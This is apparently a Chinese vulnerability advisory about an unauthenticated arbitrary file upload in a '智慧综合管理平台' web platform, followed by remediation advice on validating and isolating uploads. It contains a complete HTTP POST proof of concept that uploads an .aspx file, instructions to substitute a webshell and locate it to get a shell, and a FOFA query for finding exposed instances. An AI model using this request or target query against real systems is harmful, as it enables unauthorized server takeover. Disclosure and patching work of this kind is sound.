请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。
POC如下所示:
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
Connection: close
------21909179191068471382830692394
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
<%"C#"%><%Response.Write("hello");System.IO.File.Delete(Request.PhysicalPath);%> Language=
------21909179191068471382830692394--
PS:
通过以上数据包,修改自己需要的马儿,然后发送数据包之后可以看到文件的
saveName值,拿到这个值之后再拼接上传路径Url+Upload/Publish/000000/0_0_0_0/update.aspx
实现未授权任意文件上传getshell,如下所示:
Url+Upload/Publish/000000/0_0_0_0/update.aspx
fofa:title="智慧综合管理平台登入"
页面是这个样子的:
使用poc进行上传:
对上传文件类型进行验证,除在前端验证外在后端依然要做验证,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小等限制来防御,或是将上传的文件其他文件存储服务器中。
严格限制和校验上传的文件,禁止上传恶意代码的文件。
对上传文件格式进行严格校验,防止上传恶意脚本文件。
严格限制上传的文件路径、文件内容服务端校验。文件扩展名服务端白名单校验。
隐藏上传文件路径。上传文件重命名。设置项目目录权限:可写目录不执行,执行目录不可写.
代码层面
服务端采用白名单方式校验文件后缀,不建议采用黑名单方式校验后缀,黑名单方式校验可能导致攻击者利用文件特性、系统特性、黑名单不全等方式进行绕过攻击。
服务端对上传文件进行重命名,防止利用目录跳转等方式控制上传目录。
服务端使用系统函数来判断文件类型及文件内容是否合法,比如 PHP 中的 getimagesize。
对上传的文件回显相对路径或者不显示路径。
其他层面
建议使用 OSS 静态存储服务器来存储用户上传的文件。
设置目录权限限制,禁止上传目录的执行权限。
保证使用的 Nginx、Apache、IIS 等容器版本不存在解析漏洞。
保证使用的第三方处理软件的版本比如 FFmpeg、ImageMagick 等不存在已知漏洞。